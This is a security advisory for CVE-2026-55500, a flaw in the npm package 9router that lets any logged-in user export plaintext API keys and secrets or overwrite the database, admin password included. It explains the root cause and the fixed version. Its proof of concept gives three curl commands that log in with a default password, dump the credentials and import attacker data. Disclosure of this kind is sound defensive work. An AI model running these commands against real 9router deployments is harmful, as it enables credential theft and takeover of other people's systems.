critical · 9.9CVE-2026-55500Jul 6, 2026

CVE-2026-55500: 9router Unprotected Database Export/Import Credential Theft

Shubham Kandhare
Security Engagement Manager, SecureLayer7

Any authenticated 9router user can dump the entire database in plaintext (all API keys, OAuth tokens, and OIDC secrets) or silently overwrite it with attacker-controlled data, including a new admin…

Package9router
Ecosystemnpm
Affected<= 0.4.71

The problem

The /api/settings/database route in 9router performs full database export (GET) and full database import (POST) with no re-authentication check beyond a valid session JWT.

The exportDb() function returns every row from apiKeys, providerConnections, and settings, including plaintext API key values. The importDb() function runs a transaction that wipes all tables and replaces them with attacker-supplied JSON, which effectively resets the admin password hash to anything the attacker chooses.

Proof of concept

A working proof-of-concept for CVE-2026-55500 in 9router, with the exact payload below.

bash
# Step 1: log in with the default password to get a JWT cookie
curl -s -c cookies.txt -X POST http://TARGET:20128/api/auth/login \
  -H 'Content-Type: application/json' \
  -d '{"password":"123456"}'

# Step 2: export the full database (plaintext API keys, OAuth tokens, OIDC secrets)
curl -s -b cookies.txt http://TARGET:20128/api/settings/database

# Step 3: import attacker-controlled database (overwrites all settings + password hash)
curl -s -b cookies.txt -X POST http://TARGET:20128/api/settings/database \
  -H 'Content-Type: application/json' \
  -d @attacker_db.json

The root cause is that dashboardGuard.js treats /api/settings/database as ALWAYS_PROTECTED, meaning it checks for a JWT or CLI token, but does not require password re-confirmation before allowing destructive operations.

On export, db.all('SELECT * FROM apiKeys') returns the raw key column with no masking. On import, the handler calls importDb(payload) directly from the request body without validating or sanitizing any field, running a wipe-then-insert transaction with fully attacker-controlled data.

This is CWE-200 (information exposure) and CWE-862 (missing authorization) combined: a low-privilege session token is sufficient for complete database takeover.

The fix

Upgrade to 9router 0.4.72 or later. The fix requires current-password re-verification before the export or import handler executes, removes plaintext key values from the export payload (returning masked values instead), and adds a confirmation step plus audit logging for all import operations.

Reported by decolua.

References: [1][2]

Related research